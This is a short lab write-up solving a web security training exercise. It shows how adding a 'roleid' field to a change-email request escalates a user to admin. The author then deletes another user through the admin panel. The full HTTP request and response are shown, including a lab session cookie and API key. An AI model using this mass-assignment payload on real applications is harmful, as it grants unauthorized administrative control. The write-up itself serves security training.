
User role can be modified in user profile

1. This lab has an admin panel at /admin. It's only accessible to logged-in users with a roleid of 2.
2. I did same steps, but I didn't find any admin cookie or robots.txt or anything useful. But I found change email function. I tried to change my email, and I found something strange in the response. I found some data displayed in response containing roleid. So, I tried to send the roleid with my new email in change email function, and the roleid already changed.

Request					Response				
Pretty	Raw	Hex	Hackvector		Pretty	Raw	Hex	Render	Hackvector
<pre>1 POST /my-account/change-email HTTP/2 2 Host: 0a6c003b03fb390b80fe53a2004100fe.web-security-academy.net 3 Cookie: session=FxjI582CtHugTSqhHxw693o0qfLmHVSFS 4 Content-Length: 51 5 Sec-Ch-Ua-Platform: "Windows" 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.3 7 Sec-Ch-Ua: "Chromium";v="140", "Not=A?Brand";v="24", "Google Chrome";v="140" 8 Content-Type: text/plain;charset=UTF-8 9 Sec-Ch-Ua-Mobile: ?0 10 Accept: */* 11 Origin: https://0a6c003b03fb390b80fe53a2004100fe.web-security-academy.net 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: https://0a6c003b03fb390b80fe53a2004100fe.web-security-academy.net/m count?id=wiener 16 Accept-Encoding: gzip, deflate, br 17 Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7 18 Priority: u=1, i 19 20 { 21 "email": "Alitarekofficial@gmail.com", "roleid": 2 22 }</pre>					<pre>1 HTTP/2 302 Found 2 Location: /my-account 3 Content-Type: application/json; charset=utf-8 4 X-Frame-Options: SAMEORIGIN 5 Content-Length: 130 6 7 { 8 "username": "wiener", 9 "email": "Alitarekofficial@gmail.com", 10 "apikey": "2NqHV10heMwPSSbCEXKI6v2neckUTiQx", 11 "roleid": 2 12 }</pre>				

3. When I go back to the application, I found the admin panel button appeared.
4. I go to admin panel and delete carlos and finally the lab solved.

Congratulations, you solved the lab!

Share your skills!



[Continue learning](#) »

[Home](#) | [Admin panel](#) | [My account](#)

User deleted successfully!

Users

wiener - [Delete](#)
